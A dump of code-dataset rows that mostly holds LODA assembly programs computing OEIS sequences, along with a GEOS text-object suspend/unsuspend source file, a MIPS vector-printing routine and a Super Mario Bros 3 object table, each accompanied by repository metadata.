add $0,137
mul $0,2
mod $0,8
lpe
mov $3,$0
div $3,2
add $3,1
add $1,$3
lpe
mov $0,$1
| 26.652174 | 353 | 0.634584 |
fd225f224007d6e44b50ed5f32d76a4bc39d9d6f | 386 | asm | Assembly | programs/oeis/129/A129791.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/129/A129791.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/129/A129791.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A129791: a(n) = ceiling(7^n/n).
; 7,25,115,601,3362,19609,117649,720601,4483735,28247525,179756977,1153440601,7453000801,48444505204,316504100663,2077058160601,13684147881601,90467422106137,599941851861745,3989613314880601
mov $1,7
mov $2,1
add $2,$0
mov $0,1
pow $1,$2
sub $1,1
mov $3,1
mul $3,$1
div $3,$2
add $3,9
lpb $0,1
mul $0,$4
mov $1,4
mul $1,$3
lpe
div $1,4
sub $1,8
| 18.380952 | 190 | 0.702073 |
4c330f9030ae790d1d930a093006257bb5535f9e | 339 | asm | Assembly | programs/oeis/216/A216852.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/216/A216852.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/216/A216852.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A216852: 18k^2-36k+9 interleaved with 18k^2-18k+9 for k>=0.
; 9,9,-9,9,9,45,63,117,153,225,279,369,441,549,639,765,873,1017,1143,1305,1449,1629,1791,1989,2169,2385,2583,2817,3033,3285,3519,3789,4041,4329,4599,4905,5193,5517,5823,6165,6489,6849,7191,7569,7929,8325,8703
mov $1,$0
div $0,2
sub $1,2
sub $1,$0
mul $0,$1
mul $0,18
add $0,9
| 30.818182 | 208 | 0.702065 |
064ab0a115ad5d66e688b83ef8b7f1e68dedefcc | 882 | asm | Assembly | oeis/287/A287199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/287/A287199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/287/A287199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A287199: Decimal representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 259", based on the 5-celled von Neumann neighborhood.
; Submitted by Jon Maiga
; 1,3,4,3,16,15,64,63,256,255,1024,1023,4096,4095,16384,16383,65536,65535,262144,262143,1048576,1048575,4194304,4194303,16777216,16777215,67108864,67108863,268435456,268435455,1073741824,1073741823,4294967296,4294967295,17179869184,17179869183,68719476736,68719476735,274877906944,274877906943,1099511627776,1099511627775,4398046511104,4398046511103,17592186044416,17592186044415,70368744177664,70368744177663,281474976710656,281474976710655,1125899906842624,1125899906842623,4503599627370496
mov $2,$0
mod $2,2
add $2,2
mov $3,2
pow $3,$0
mov $1,$3
mul $2,$3
lpb $0
mov $0,2
add $1,1
mul $1,2
mod $2,$1
lpe
div $2,2
mov $0,$2
| 44.1 | 492 | 0.800454 |
4c09b4d602d382913b3ad3bafce66cc4c50be5e6 | 711 | asm | Assembly | oeis/021/A021544.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021544.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021544.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021544: Expansion of 1/((1-x)(1-3x)(1-7x)(1-8x)).
; Submitted by Jon Maiga
; 1,19,242,2606,25659,239313,2153884,18910012,163042517,1386706607,11670306726,97399296618,807453069775,6657437827501,54644202679568,446846543376824,3642622865166633,29615936742107595,240252171263413210,1945290113136565030,15725230111527512291,126942205352955572489,1023520194095864488452,8244039411813670035636,66343460308260283485949,533485697563609663207783,4287051686195381871646094,34430576229380025331283042,276383749013793310345746807,2217643966361721182200399077,17787169550653701190342306936
add $0,2
lpb $0
sub $0,1
add $2,2
mul $2,8
div $3,2
mul $3,14
add $3,$1
mul $1,3
add $1,$2
lpe
mov $0,$3
div $0,16
| 39.5 | 500 | 0.817159 |
c09bcf2b25d0760a4c146235a1711623ddc5d3b6 | 1,974 | asm | Assembly | programs/oeis/158/A158135.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/158/A158135.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/158/A158135.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A158135: a(n) = 144*n^2 - 2*n.
; 142,572,1290,2296,3590,5172,7042,9200,11646,14380,17402,20712,24310,28196,32370,36832,41582,46620,51946,57560,63462,69652,76130,82896,89950,97292,104922,112840,121046,129540,138322,147392,156750,166396,176330,186552,197062,207860,218946,230320,241982,253932,266170,278696,291510,304612,318002,331680,345646,359900,374442,389272,404390,419796,435490,451472,467742,484300,501146,518280,535702,553412,571410,589696,608270,627132,646282,665720,685446,705460,725762,746352,767230,788396,809850,831592,853622,875940,898546,921440,944622,968092,991850,1015896,1040230,1064852,1089762,1114960,1140446,1166220,1192282,1218632,1245270,1272196,1299410,1326912,1354702,1382780,1411146,1439800,1468742,1497972,1527490,1557296,1587390,1617772,1648442,1679400,1710646,1742180,1774002,1806112,1838510,1871196,1904170,1937432,1970982,2004820,2038946,2073360,2108062,2143052,2178330,2213896,2249750,2285892,2322322,2359040,2396046,2433340,2470922,2508792,2546950,2585396,2624130,2663152,2702462,2742060,2781946,2822120,2862582,2903332,2944370,2985696,3027310,3069212,3111402,3153880,3196646,3239700,3283042,3326672,3370590,3414796,3459290,3504072,3549142,3594500,3640146,3686080,3732302,3778812,3825610,3872696,3920070,3967732,4015682,4063920,4112446,4161260,4210362,4259752,4309430,4359396,4409650,4460192,4511022,4562140,4613546,4665240,4717222,4769492,4822050,4874896,4928030,4981452,5035162,5089160,5143446,5198020,5252882,5308032,5363470,5419196,5475210,5531512,5588102,5644980,5702146,5759600,5817342,5875372,5933690,5992296,6051190,6110372,6169842,6229600,6289646,6349980,6410602,6471512,6532710,6594196,6655970,6718032,6780382,6843020,6905946,6969160,7032662,7096452,7160530,7224896,7289550,7354492,7419722,7485240,7551046,7617140,7683522,7750192,7817150,7884396,7951930,8019752,8087862,8156260,8224946,8293920,8363182,8432732,8502570,8572696,8643110,8713812,8784802,8856080,8927646,8999500
add $0,1
mul $0,72
bin $0,2
mov $1,$0
div $1,36
mul $1,2
| 197.4 | 1,882 | 0.850557 |
7c6df1738fbb728c0c6ae6330e5221858d45388b | 1,832 | asm | Assembly | programs/oeis/289/A289111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/289/A289111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/289/A289111.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A289111: a(n) = (2^49 - 2)*n/3 + 444813635231.
; 444813635231,188094798109001,375744782582771,563394767056541,751044751530311,938694736004081,1126344720477851,1313994704951621,1501644689425391,1689294673899161,1876944658372931,2064594642846701,2252244627320471,2439894611794241,2627544596268011,2815194580741781,3002844565215551,3190494549689321,3378144534163091,3565794518636861,3753444503110631,3941094487584401,4128744472058171,4316394456531941,4504044441005711,4691694425479481,4879344409953251,5066994394427021,5254644378900791,5442294363374561,5629944347848331,5817594332322101,6005244316795871,6192894301269641,6380544285743411,6568194270217181,6755844254690951,6943494239164721,7131144223638491,7318794208112261,7506444192586031,7694094177059801,7881744161533571,8069394146007341,8257044130481111,8444694114954881,8632344099428651,8819994083902421,9007644068376191,9195294052849961,9382944037323731,9570594021797501,9758244006271271,9945893990745041,10133543975218811,10321193959692581,10508843944166351,10696493928640121,10884143913113891,11071793897587661,11259443882061431,11447093866535201,11634743851008971,11822393835482741,12010043819956511,12197693804430281,12385343788904051,12572993773377821,12760643757851591,12948293742325361,13135943726799131,13323593711272901,13511243695746671,13698893680220441,13886543664694211,14074193649167981,14261843633641751,14449493618115521,14637143602589291,14824793587063061,15012443571536831,15200093556010601,15387743540484371,15575393524958141,15763043509431911,15950693493905681,16138343478379451,16325993462853221,16513643447326991,16701293431800761,16888943416274531,17076593400748301,17264243385222071,17451893369695841,17639543354169611,17827193338643381,18014843323117151,18202493307590921,18390143292064691,18577793276538461
mul $0,187649984473770
add $0,444813635231
| 305.333333 | 1,738 | 0.927402 |
32d132b7bd038d442293fff53e50900aacac5407 | 12,133 | asm | Assembly | Library/Text/Text/textSuspend.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Text/Text/textSuspend.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Text/Text/textSuspend.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text
FILE: textSuspend.asm
METHODS:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/92 Initial version
DESCRIPTION:
This file contains...
$Id: textSuspend.asm,v 1.1 97/04/07 11:18:08 newdeal Exp $
------------------------------------------------------------------------------@
TextAttributes segment resource
COMMENT @----------------------------------------------------------------------
METHOD: VisTextSuspend -- MSG_META_SUSPEND for VisTextClass
DESCRIPTION: Suspend calculation and drawing
PASS:
*ds:si - instance data
es - segment of VisTextClass
ax - The method
RETURN:
none
DESTROYED:
bx, si, di, ds, es (method handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 12/89 Initial version
------------------------------------------------------------------------------@
VisTextSuspend method dynamic VisTextClass, MSG_META_SUSPEND
BEC < call CheckRunPositions >
test ds:[di].VTI_intFlags, mask VTIF_SUSPENDED
jnz alreadySuspended
call TextGStateCreate
call EditUnHilite
call TextGStateDestroy
ornf ds:[di].VTI_intFlags, mask VTIF_SUSPENDED
; Set the flag that sez we want to start a "wrap-around" undo chain
; if an undoable action happens while we are suspended.
mov ax, TEMP_VIS_TEXT_UNDO_FOR_SUSPEND
clr cx
call ObjVarAddData
; this is the first suspension, create the structure
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
mov cx, size VisTextSuspendData
call ObjVarAddData
clr ax
clrdw ds:[bx].VTSD_recalcRange.VTR_start, ax
clrdw ds:[bx].VTSD_recalcRange.VTR_end, ax
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
; Removed, 4/22/93 -jw
; We are no longer using this range.
; clrdw ds:[bx].VTSD_selectRange.VTR_start, ax
; clrdw ds:[bx].VTSD_selectRange.VTR_end, ax
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
movdw ds:[bx].VTSD_showSelectionPos, 0xffffffff
mov ds:[bx].VTSD_notifications, ax
mov ds:[bx].VTSD_needsRecalc, al
mov ds:[bx].VTSD_count, 1
done:
mov ax, MSG_META_SUSPEND
GOTO T_CallSuper
alreadySuspended:
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
call ObjVarFindData
EC < ERROR_NC VIS_TEXT_SUSPEND_LOGIC_ERROR >
EC < cmp ds:[bx].VTSD_count, 40 >
EC < ERROR_AE VIS_TEXT_SUSPEND_COUNT_SEEMS_TOO_HIGH >
inc ds:[bx].VTSD_count
jmp done
VisTextSuspend endm
COMMENT @----------------------------------------------------------------------
MESSAGE: VisTextUnsuspend -- MSG_META_UNSUSPEND for VisTextClass
DESCRIPTION: Unsuspend the object
PASS:
*ds:si - instance data
es - segment of VisTextClass
ax - The message
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/20/92 Initial version
------------------------------------------------------------------------------@
VisTextUnsuspend method dynamic VisTextClass, MSG_META_UNSUSPEND
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
call ObjVarFindData
EC < ERROR_NC VIS_TEXT_SUSPEND_LOGIC_ERROR >
EC < cmp ds:[bx].VTSD_count, 40 >
EC < ERROR_AE VIS_TEXT_SUSPEND_COUNT_SEEMS_TOO_HIGH >
dec ds:[bx].VTSD_count
LONG jnz done
; We are becoming unsuspended - see if we have an undo chain that
; was created while we were suspended - if so, we need to end the
; chain.
mov ax, TEMP_VIS_TEXT_UNDO_FOR_SUSPEND
call ObjVarDeleteData ;Returns carry set if was already
jnc noUndoChain ; deleted (by TU_StartUndoChain)
call TU_EndUndoChain
noUndoChain:
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
call ObjVarFindData
; the suspend count has reach zero -- recalculate
;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
; Changed, 4/22/93 -jw
; We now just use the current selection. Resetting the selection causes stuff
; to update correctly.
; pushdw ds:[bx].VTSD_selectRange.VTR_end
; pushdw ds:[bx].VTSD_selectRange.VTR_start
pushdw ds:[di].VTI_selectEnd
pushdw ds:[di].VTI_selectStart
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
pushdw ds:[bx].VTSD_showSelectionPos
pushdw ds:[bx].VTSD_recalcRange.VTR_end
pushdw ds:[bx].VTSD_recalcRange.VTR_start
mov bp, sp ;ss:bp = range to inval
tst ds:[bx].VTSD_needsRecalc
pushf
push ds:[bx].VTSD_notifications
andnf ds:[di].VTI_intFlags, not mask VTIF_SUSPENDED
mov ax, ATTR_VIS_TEXT_SUSPEND_DATA
call ObjVarDeleteData
pop ax ;ax = flags
popf
jz noRecalc
call TextCheckCanCalcNoRange
jc noCreateGState
call TextGStateCreate
noCreateGState:
clr cx ;force recalc
call ReflectChangeWithFlags
jmp common ;and nukes gstate
noRecalc:
tst ax
jz noNotify
call TA_SendNotification
noNotify:
call TextCheckCanCalcNoRange
jc noHilite
call TextGStateCreate
call EditHilite
call TextGStateDestroy
noHilite:
; now we need to select the range visually. We will do this
; unless we have been specifically told not to (by setting
; VTSD_showSelectionPos to -1)
common:
add sp, size VisTextRange ;pop off
;VTSD_recalcRange
popdw dxax ;dxax = VTSD_showSelectionPos
mov bp, sp ;ss:bp =
;select range
cmpdw dxax, 0xffffffff
jz noSelect
mov ax, MSG_VIS_TEXT_SELECT_RANGE
call ObjCallInstanceNoLock
noSelect:
add sp, size VisTextRange ;pop off
;select range
done:
mov ax, MSG_META_UNSUSPEND
FALL_THRU T_CallSuper
VisTextUnsuspend endm
;---
T_CallSuper proc far
mov di, segment VisTextClass
mov es, di
mov di, offset VisTextClass
GOTO ObjCallSuperNoLock
T_CallSuper endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextSuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Suspend text object recalculation
CALLED BY: INTERNAL
PASS: *ds:si = text object
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 11/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextSuspend proc far
uses bp
.enter
EC < call T_AssertIsVisText >
mov ax, MSG_META_SUSPEND
call ObjCallInstanceNoLock
.leave
ret
TextSuspend endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TextUnsuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Unsuspend text object recalculation
CALLED BY: INTERNAL
PASS: *ds:si = text object
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 11/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TextUnsuspend proc far
EC < call T_AssertIsVisText >
mov ax, MSG_META_UNSUSPEND
call ObjCallInstanceNoLock
ret
TextUnsuspend endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ReflectChangeUpdateGeneric
DESCRIPTION: Update any generic instance data and then do ReflectChange
CALLED BY: INTERNAL
PASS:
*** gstate created IF calculation is possible
*ds:si - text object
ss:bp - VisTextRange
RETURN:
none
DESTROYED:
ax, bx, cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/15/92 Initial version
------------------------------------------------------------------------------@
ReflectChangeUpdateGeneric proc far
call SendGenericUpdate
FALL_THRU ReflectChange
ReflectChangeUpdateGeneric endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ReflectChange
DESCRIPTION: Finish a text operation by calling TextRangeChange to mark the
range as changed.
CALLED BY: INTERNAL
PASS:
*** gstate created IF calculation is possible
*ds:si - text object
ss:bp - VisTextRange
RETURN:
none
DESTROYED:
ax, bx, cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
------------------------------------------------------------------------------@
ReflectChange proc far
mov ax, VIS_TEXT_STANDARD_NOTIFICATION_FLAGS
mov cx, 1
call ReflectChangeWithFlags
call TextMarkUserModified
push bp
mov ax, MSG_VIS_TEXT_ATTRIBUTE_CHANGE
call ObjCallInstanceNoLock
pop bp
ret
ReflectChange endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ReflectChangeWithFlags
DESCRIPTION: Finish a text operation by calling TextRangeChange to mark the
range as changed.
CALLED BY: INTERNAL
PASS:
*** gstate created IF calculation is possible
*ds:si - text object
ss:bp - VisTextRange
ax - NotificationFlags to send
cx - zero to *force* recalculation, even if (start == end)
RETURN:
*** gstate destroyed
none
DESTROYED:
ax, bx, cx, dx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
------------------------------------------------------------------------------@
ReflectChangeWithFlags proc near
push ax ;save flags
call TextCheckCanCalcWithRange ; can we calc?
jc noInvalidate ; bra if not
;
; Check for start/end of range being equal.
;
movdw dxax, ss:[bp].VTR_start
jcxz recalc
cmpdw dxax, ss:[bp].VTR_end
jnz recalc
tstdw dxax
jnz done
; dxax = range start
recalc:
stc ; Get first line if at end
call TL_LineFromOffset ; bx.di <- first affected line
;
; Recalculate the text object.
;
movdw dxax, ss:[bp].VTR_end ; dx.ax <- # of changed chars
subdw dxax, ss:[bp].VTR_start
call TextRecalc
; Send an update message and show the selection
push bp
call TextSendUpdate ; Send an update.
call TSL_SelectGetSelection ; dx.ax <- select start
; cx.bx <- select end
clr bp
call TextCallShowSelection ; Else show cursor.
pop bp
done:
call EditHilite ; Restore the selection
call TextGStateDestroy
noInvalidate:
pop ax
tst ax
jz noNotify
call TA_SendNotification
noNotify:
ret
ReflectChangeWithFlags endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SendGenericUpdate
DESCRIPTION: Send a MSG_VIS_TEXT_UPDATE_GENERIC method to ourself if this
is a generic object
CALLED BY: INTERNAL
PASS:
*ds:si - object
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
SendGenericUpdate proc far uses ax, cx, dx, di, bp
class VisTextClass
.enter
EC < call ECCheckObject >
; if this is a gen object then send ourself a method to update the
; generic instance data
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_typeFlags, mask VTF_IS_GEN
jz notGeneric
mov ax, MSG_VIS_TEXT_UPDATE_GENERIC
call ObjCallInstanceNoLock
notGeneric:
.leave
ret
SendGenericUpdate endp
TextAttributes ends
| 22.636194 | 80 | 0.612544 |
802da18427754bf438c79194dab591fbf16736e5 | 647 | asm | Assembly | oeis/051/A051943.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/051/A051943.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/051/A051943.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A051943: Truncated triangular pyramid numbers: a(n) = Sum_{k=9..n} (k*(k+1)/2 - 45).
; 0,10,31,64,110,170,245,336,444,570,715,880,1066,1274,1505,1760,2040,2346,2679,3040,3430,3850,4301,4784,5300,5850,6435,7056,7714,8410,9145,9920,10736,11594,12495,13440,14430,15466,16549,17680,18860,20090,21371,22704,24090,25530,27025,28576,30184,31850,33575,35360,37206,39114,41085,43120,45220,47386,49619,51920,54290,56730,59241,61824,64480,67210,70015,72896,75854,78890,82005,85200,88476,91834,95275,98800,102410,106106,109889,113760,117720,121770,125911,130144,134470,138890,143405,148016,152724
mov $2,29
add $2,$0
mul $2,$0
mul $0,$2
add $0,$2
div $0,6
| 64.7 | 499 | 0.76507 |
4410e168cb5cc8b388b4413432c4e50681fa7eb7 | 893 | asm | Assembly | lab7/vettore/print.asm | samdsk/lab_arch2 | 45ac71c5647b2a7985f2391686f22ebab685ba67 | [
"MIT"
] | null | null | null | lab7/vettore/print.asm | samdsk/lab_arch2 | 45ac71c5647b2a7985f2391686f22ebab685ba67 | [
"MIT"
] | null | null | null | lab7/vettore/print.asm | samdsk/lab_arch2 | 45ac71c5647b2a7985f2391686f22ebab685ba67 | [
"MIT"
] | null | null | null | .data
str: .asciiz "Elementi: "
.align 2
space: .asciiz " "
.align 2
nl: .asciiz "\n"
.text
.globl print_all
print_all:
#preambolo
move $t0 $fp
addi $fp $sp -4
sw $t0 0($fp)
sw $sp -4($fp)
sw $s0 -8($fp)
sw $ra -12($fp)
sw $s1 -16($fp)
addi $sp $fp -16
#input $a0 vector base addr
move $s0 $a0 #salvo base addr
lw $t1 4($s0) #numero di elementi
li $t0 0 #count
addi $t2 $s0 4 #posizione del primo elemento
li $v0 4
la $a0 str
syscall
loop:
beq $t0 $t1 end
#calcolo posizione del prossimo elemento
addi $t2 $t2 4 #siamo in posizione coda
lw $s1 0($t2) #aggiungo nuovo elemento
addi $t0 $t0 1 #aumento numero di elementi
li $v0 1
move $a0 $s1
syscall
li $v0 4
la $a0 space
syscall
j loop
end:
li $v0 4
la $a0 nl
syscall
#epilogo
lw $t0 0($fp)
lw $sp -4($fp)
lw $s0 -8($fp)
lw $ra -12($fp)
lw $s1 -16($fp)
move $fp $t0
jr $ra | 13.530303 | 45 | 0.606943 |
5f564b8d8d924ba60e17ab60344622b527034ca6 | 753 | asm | Assembly | PRG/objects/5-9.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/objects/5-9.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/objects/5-9.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | .byte $01 ; Unknown purpose
.byte OBJ_AUTOSCROLL, $00, $20
.byte OBJ_FLYINGREDPARATROOPA, $0A, $10
.byte OBJ_OSCILLATING_V, $10, $11
.byte OBJ_OSCILLATING_V, $14, $0D
.byte OBJ_OSCILLATING_VS, $18, $08
.byte OBJ_OSCILLATING_V, $1C, $06
.byte OBJ_OSCILLATING_V, $2C, $11
.byte OBJ_OSCILLATING_V, $33, $0C
.byte OBJ_OSCILLATING_V, $37, $0A
.byte OBJ_OSCILLATING_H, $4C, $13
.byte OBJ_OSCILLATING_V, $4E, $0F
.byte OBJ_FIRECHOMP, $56, $14
.byte OBJ_OSCILLATING_H, $58, $07
.byte OBJ_OSCILLATING_VS, $5D, $05
.byte OBJ_OSCILLATING_V, $74, $11
.byte OBJ_OSCILLATING_V, $7A, $0A
.byte OBJ_FIRECHOMP, $7E, $14
.byte OBJ_OSCILLATING_H, $90, $12
.byte OBJ_OSCILLATING_HS, $95, $0E
.byte OBJ_OSCILLATING_VS, $96, $0B
.byte $FF ; Terminator
| 31.375 | 40 | 0.710491 |
9239991ce75aa300ae100bcfcbc3af07144f24db | 534 | asm | Assembly | programs/oeis/329/A329952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/329/A329952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/329/A329952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A329952: Numbers k such that binomial(k,3) is divisible by 8.
; 0,1,2,8,10,16,17,18,24,26,32,33,34,40,42,48,49,50,56,58,64,65,66,72,74,80,81,82,88,90,96,97,98,104,106,112,113,114,120,122,128,129,130,136,138,144,145,146,152,154,160,161,162,168,170,176,177,178,184,186,192,193,194,200,202,208,209,210,216,218,224,225,226,232,234,240,241,242,248,250,256,257,258,264,266,272,273,274,280,282,288,289,290,296,298,304,305,306,312,314
mov $1,$0
mul $1,2
div $1,5
mul $1,14
mov $2,$0
add $0,1
add $0,$1
add $0,2
div $0,3
sub $0,1
add $0,$2
| 35.6 | 364 | 0.685393 |
9de41126cd0310a6adde7ab94c2298ae3261d261 | 4,119 | asm | Assembly | dino/lcs/enemy/6E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | dino/lcs/enemy/6E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | dino/lcs/enemy/6E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
